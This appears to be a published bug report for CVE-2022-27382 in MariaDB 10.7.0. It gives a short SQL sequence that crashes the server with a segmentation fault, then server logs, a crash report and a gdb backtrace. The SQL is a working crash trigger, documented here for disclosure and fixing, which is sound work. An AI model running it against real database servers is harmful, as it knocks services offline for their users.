CVE-2022-27382: [MDEV-26402] A SEGV in Item_field::used_tables/update_depend_map_for_order or Assertion `fixed == 1'

CREATE TABLE v0 AS SELECT STRCMP ( ‘x’ , ‘x’ ) AS v1 ORDER BY ( v1 + v1 LIKE ‘x’ AND v1 BETWEEN ‘x’ AND 53 ) ;

REPLACE INTO v0 SELECT * FROM v0 ;

CHECK TABLE v0 EXTENDED ;

SELECT * FROM v0 GROUP BY v1 HAVING v1 = ‘x’ IN ( v1 IS NULL AND ‘x’ = 0 , 10 , -1 ) ;

OPTIMIZE TABLE v0 , v0 ;

LOCK TABLE v0 WRITE , v0 WRITE ;

2021-08-16 15:06:2021-08-16 14:41:38 0 [Note] InnoDB: Compressed tables use zlib 1.2.11

2021-08-16 14:41:38 0 [Note] InnoDB: Number of pools: 1

2021-08-16 14:41:38 0 [Note] InnoDB: Using crc32 + pclmulqdq instructions

2021-08-16 14:41:38 0 [Note] mysqld: O_TMPFILE is not supported on /tmp (disabling future attempts)

2021-08-16 14:41:38 0 [Note] InnoDB: Using liburing

2021-08-16 14:41:38 0 [Note] InnoDB: Initializing buffer pool, total size = 134217728, chunk size = 134217728

2021-08-16 14:41:38 0 [Note] InnoDB: Completed initialization of buffer pool

2021-08-16 14:41:38 0 [Note] InnoDB: 128 rollback segments are active.

2021-08-16 14:41:38 0 [Note] InnoDB: Creating shared tablespace for temporary tables

2021-08-16 14:41:38 0 [Note] InnoDB: Setting file ‘./ibtmp1’ size to 12 MB. Physically writing the file full; Please wait …

2021-08-16 14:41:38 0 [Note] InnoDB: File ‘./ibtmp1’ size is now 12 MB.

2021-08-16 14:41:38 0 [Note] InnoDB: 10.7.0 started; log sequence number 42161; transaction id 14

2021-08-16 14:41:38 0 [Note] InnoDB: Loading buffer pool(s) from /home/fuboat/mariadb-tmp/mysql-default-data/ib_buffer_pool

2021-08-16 14:41:38 0 [Note] Plugin ‘FEEDBACK’ is disabled.

2021-08-16 14:41:38 0 [Note] InnoDB: Buffer pool(s) load completed at 210816 14:41:38

2021-08-16 14:41:38 0 [Note] Server socket created on IP: '0.0.0.0’.

2021-08-16 14:41:38 0 [Note] Server socket created on IP: '::’.

2021-08-16 14:41:38 0 [Note] /usr/local/mysql/bin//mysqld: ready for connections.

Version: ‘10.7.0-MariaDB’ socket: ‘/tmp/0.socket’ port: 3306 Source distribution

2021-08-16 14:41:39 0 [Note] /usr/local/mysql/bin//mysqld (initiated by: root[root] @ localhost []): Normal shutdown

2021-08-16 14:41:39 0 [Note] InnoDB: FTS optimize thread exiting.

2021-08-16 14:41:39 0 [Note] InnoDB: Starting shutdown…

2021-08-16 14:41:39 0 [Note] InnoDB: Dumping buffer pool(s) to /home/fuboat/mariadb-tmp/mysql-default-data/ib_buffer_pool

2021-08-16 14:41:39 0 [Note] InnoDB: Buffer pool(s) dump completed at 210816 14:41:39

2021-08-16 14:41:39 0 [Note] InnoDB: Removed temporary tablespace data file: “./ibtmp1”

2021-08-16 14:41:39 0 [Note] InnoDB: Shutdown completed; log sequence number 42173; transaction id 15

2021-08-16 14:41:39 0 [Note] /usr/local/mysql/bin//mysqld: Shutdown complete

2021-08-16 15:05:51 0 [Note] InnoDB: Compressed tables use zlib 1.2.11

2021-08-16 15:05:51 0 [Note] InnoDB: Number of pools: 1

2021-08-16 15:05:51 0 [Note] InnoDB: Using crc32 + pclmulqdq instructions

2021-08-16 15:05:51 0 [Note] mysqld: O_TMPFILE is not supported on /tmp (disabling future attempts)

2021-08-16 15:05:51 0 [Note] InnoDB: Using liburing

2021-08-16 15:05:51 0 [Note] InnoDB: Initializing buffer pool, total size = 134217728, chunk size = 134217728

2021-08-16 15:05:51 0 [Note] InnoDB: Completed initialization of buffer pool

2021-08-16 15:06:00 0 [Note] InnoDB: 128 rollback segments are active.

2021-08-16 15:06:00 0 [Note] InnoDB: Creating shared tablespace for00 0 [Note] InnoDB: Setting file ‘./ibtmp1’ size to 12 MB. Physically writing the file full; Please wait …

2021-08-16 15:06:00 0 [Note] InnoDB: File ‘./ibtmp1’ size is now 12 MB.

2021-08-16 15:06:00 0 [Note] InnoDB: 10.7.0 started; log sequence number 42173; transaction id 14

2021-08-16 15:06:00 0 [Note] Plugin ‘FEEDBACK’ is disabled.

2021-08-16 15:06:00 0 [Note] InnoDB: Loading buffer pool(s) from /home/fuboat/mariadb-tmp/3/ib_buffer_pool

2021-08-16 15:06:01 0 [Note] Server socket created on IP: '0.0.0.0’.

2021-08-16 15:06:01 0 [Note] Server socket created on IP: '::’.

2021-08-16 15:06:01 0 [Note] InnoDB: Buffer pool(s) load completed at 210816 15:06:01

2021-08-16 15:06:04 0 [Note] /usr/local/mysql/bin//mysqld: ready for connections.

Version: ‘10.7.0-MariaDB’ socket: ‘/tmp/3.socket’ port: 10003 Source distribution

210816 15:06:10 [ERROR] mysqld got signal 11 ;

This could be because you hit a bug. It is also possible that this binary

or one of the libraries it was linked against is corrupt, improperly built,

or misconfigured. This error can also be caused by malfunctioning hardware.

To report this bug, see https://mariadb.com/kb/en/reporting-bugs

We will try our best to scrape up some info that will hopefully help

diagnose the problem, but since we have already crashed,

something is definitely wrong and this may fail.

Server version: 10.7.0-MariaDB

key_buffer_size=134217728

read_buffer_size=131072

max_used_connections=1

max_threads=153

thread_count=1

It is possible that mysqld could use up to

key_buffer_size + (read_buffer_size + sort_buffer_size)*max_threads = 467956 K bytes of memory

Hope that’s ok; if not, decrease some variables in the equation.

Thread pointer: 0x62b0000af218

Attempting backtrace. You can use the following information to find out

where mysqld died. If you see no messages after this, something went

terribly wrong…

stack_bottom = 0x7fa746f74850 thread_stack 0x5fc00

sanitizer_common/sanitizer_common_interceptors.inc:4203(__interceptor_backtrace.part.0)[0x7fa766820c3e]

mysys/stacktrace.c:213(my_print_stacktrace)[0x55dae2370747]

sql/signal_handler.cc:222(handle_fatal_signal)[0x55dae1338120]

sigaction.c:0(__restore_rt)[0x7fa76620a870]

sql/item.cc:3442(Item_field::used_tables() const)[0x55dae13cf704]

sql/sql_select.cc:14445(remove_const(JOIN*, st_order*, Item*, bool, bool*))[0x55dae0ce110f]

sql/sql_select.cc:2432(JOIN::optimize_inner())[0x55dae0d68280]

sql/sql_select.cc:1811(JOIN::optimize())[0x55dae0d697b1]

sql/sql_select.cc:4977(mysql_select(THD*, TABLE_LIST*, List<Item>&, Item*, unsigned int, st_order*, st_order*, Item*, st_order*, unsigned long long, select_result*, st_select_lex_unit*, st_select_lex*))[0x55dae0d69a0e]

sql/sql_select.cc:545(handle_select(THD*, LEX*, select_result*, unsigned long))[0x55dae0d6b655]

sql/sql_parse.cc:6256(execute_sqlcom_select(THD*, TABLE_LIST*))[0x55dae0baed7d]

sql/sql_parse.cc:3946(mysql_execute_command(THD*, bool))[0x55dae0bd8421]

sql/sql_parse.cc:8047(mysql_parse(THD*, char*, unsigned int, Parser_state*))[0x55dae0bdd5a1]

sql/sql_parse.cc:1898(dispatch_command(enum_server_command, THD*, char*, unsigned int, bool))[0x55dae0be360c]

sql/sql_parse.cc:1406(do_command(THD*, bool))[0x55dae0be873d]

sql/sql_connect.cc:1418(do_handle_one_connection(CONNECT*, bool))[0x55dae0fa3e57]

sql/sql_connect.cc:1312(handle_one_connection)[0x55dae0fa433d]

perfschema/pfs.cc:2204(pfs_spawn_thread)[0x55dae1a34c2c]

pthread_create.c:0(start_thread)[0x7fa766200259]

:0(__GI___clone)[0x7fa765dab5e3]

Trying to get some variables.

Some pointers may be invalid and cause the dump to abort.

Query (0x629000087238): SELECT * FROM v0 GROUP BY v1 HAVING v1 = ‘x’ IN ( v1 IS NULL AND ‘x’ = 0 , 10 , -1 )

Connection ID (thread ID): 4

Status: NOT_KILLED

Optimizer switch: index_merge=on,index_merge_union=on,index_merge_sort_union=on,index_merge_intersection=on,index_merge_sort_intersection=off,engine_condition_pushdown=off,index_condition_pushdown=on,derived_merge=on,derived_with_keys=on,firstmatch=on,loosescan=on,materialization=on,in_to_exists=on,semijoin=on,partial_match_rowid_merge=on,partial_match_table_scan=on,subquery_cache=on,mrr=off,mrr_cost_based=off,mrr_sort_keys=off,outer_join_with_cache=on,semijoin_with_cache=on,join_cache_incremental=on,join_cache_hashed=on,join_cache_bka=on,optimize_join_buffer_size=on,table_elimination=on,extended_keys=on,exists_to_in=on,orderby_uses_equalities=on,condition_pushdown_for_derived=on,split_materialized=on,condition_pushdown_for_subquery=on,rowid_filter=on,condition_pushdown_from_having=on,not_null_range_scan=off

The manual page at https://mariadb.com/kb/en/how-to-produce-a-full-stack-trace-for-mysqld/ contains

information that should help you find out what is causing the crash.

Writing a core file…

Working directory at /home/fuboat/mariadb-tmp/3

Resource Limits:

Limit Soft Limit Hard Limit Units

Max cpu time unlimited unlimited seconds

Max file size unlimited unlimited bytes

Max data size unlimited unlimited bytes

Max stack size 8388608 unlimited bytes

Max core file size unlimited unlimited bytes

Max resident set unlimited unlimited bytes

Max processes 61608 61608 processes

Max open files 524288 524288 files

Max locked memory 65536 65536 bytes

Max address space unlimited unlimited bytes

Max file locks unlimited unlimited locks

Max pending signals 61608 61608 signals

Max msgqueue size 819200 819200 bytes

Max nice priority 0 0

Max realtime priority 0 0

Max realtime timeout unlimited unlimited us

Core pattern: core

GNU gdb (GDB) 10.2

Copyright © 2021 Free Software Foundation, Inc.

License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html

This is free software: you are free to change and redistribute it.

There is NO WARRANTY, to the extent permitted by law.

Type “show copying” and “show warranty” for details.

This GDB was configured as "x86_64-pc-linux-gnu".

Type “show configuration” for configuration details.

For bug reporting instructions, please see:

https://www.gnu.org/software/gdb/bugs/.

Find the GDB manual and other documentation resources online at:

<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".

Type “apropos word” to search for commands related to "word"…

Reading symbols from /usr/local/mysql/bin//mysqld…

[New LWP 1386618]

[New LWP 1349958]

[New LWP 1382444]

[New LWP 1349935]

[New LWP 1382850]

[New LWP 1349963]

[New LWP 1349956]

[New LWP 1382440]

[New LWP 1382852]

[New LWP 1386542]

[New LWP 1382851]

[New LWP 1382890]

[New LWP 1349932]

[New LWP 1382853]

[Thread debugging using libthread_db enabled]

Using host libthread_db library "/usr/lib/libthread_db.so.1".

Core was generated by `/usr/local/mysql/bin//mysqld --port 10003 --datadir=/home/fuboat/mariadb-tmp/3’.

Program terminated with signal SIGSEGV, Segmentation fault.

#0 0x00007fa766207808 in pthread_kill () from /usr/lib/libpthread.so.0

[Current thread is 1 (Thread 0x7fa746f75240 (LWP 1386618))]

(gdb) (gdb) #0 0x00007fa766207808 in pthread_kill () from /usr/lib/libpthread.so.0

#1 0x000055dae133806b in handle_fatal_signal (sig=<optimized out>) at /experiment/mariadb-server/sql/signal_handler.cc:344

#2 <signal handler called>

#3 0x000055dae13cf704 in Item_field::used_tables (this=0x629000089e68) at /experiment/mariadb-server/sql/item.cc:3442

#4 0x000055dae0ce110f in update_depend_map_for_order (order=0x6290000881a0, join=0x6290000898a0) at /experiment/mariadb-server/sql/sql_select.cc:14445

#5 remove_const (join=0x6290000898a0, first_order=<optimized out>, cond=<optimized out>, change_list=<optimized out>, simple_order=0x629000089bac) at /experiment/mariadb-server/sql/sql_select.cc:14570

#6 0x000055dae0d68280 in JOIN::optimize_inner (this=0x6290000898a0) at /experiment/mariadb-server/sql/sql_select.cc:2432

#7 0x000055dae0d697b1 in JOIN::optimize (this=this@entry=0x6290000898a0) at /experiment/mariadb-server/sql/sql_select.cc:1809

#8 0x000055dae0d69a0e in mysql_select (thd=0x62b0000af218, tables=<optimized out>, fields=…, conds=0x0, og_num=1, order=0x0, group=0x6290000881a0, having=0x629000088d50, proc_param=0x0, select_options=<optimized out>, result=0x629000089870, unit=0x62b0000b33c0, select_lex=0x629000087350)

at /experiment/mariadb-server/sql/sql\_select.cc:4977

#9 0x000055dae0d6b655 in handle_select (thd=thd@entry=0x62b0000af218, lex=lex@entry=0x62b0000b32f8, result=result@entry=0x629000089870, setup_tables_done_option=setup_tables_done_option@entry=0) at /experiment/mariadb-server/sql/sql_select.cc:545

#10 0x000055dae0baed7d in execute_sqlcom_select (thd=0x62b0000af218, all_tables=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:6256

#11 0x000055dae0bd8421 in mysql_execute_command (thd=0x62b0000af218, is_called_from_prepared_stmt=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:3946

#12 0x000055dae0bdd5a1 in mysql_parse (thd=0x62b0000af218, rawbuf=<optimized out>, length=<optimized out>, parser_state=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:8030

#13 0x000055dae0be360c in dispatch_command (command=<optimized out>, thd=0x62b0000af218, packet=<optimized out>, packet_length=<optimized out>, blocking=<optimized out>) at /experiment/mariadb-server/sql/sql_parse.cc:1896

#14 0x000055dae0be873d in do_command (thd=0x62b0000af218, blocking=blocking@entry=true) at /experiment/mariadb-server/sql/sql_parse.cc:1404

#15 0x000055dae0fa3e57 in do_handle_one_connection (connect=<optimized out>, put_in_cache=<optimized out>) at /experiment/mariadb-server/sql/sql_connect.cc:1418

#16 0x000055dae0fa433d in handle_one_connection (arg=arg@entry=0x6080000023b8) at /experiment/mariadb-server/sql/sql_connect.cc:1312

#17 0x000055dae1a34c2c in pfs_spawn_thread (arg=0x617000005b98) at /experiment/mariadb-server/storage/perfschema/pfs.cc:2201

#18 0x00007fa766200259 in start_thread () from /usr/lib/libpthread.so.0

#19 0x00007fa765dab5e3 in clone () from /usr/lib/libc.so.6

(gdb) quit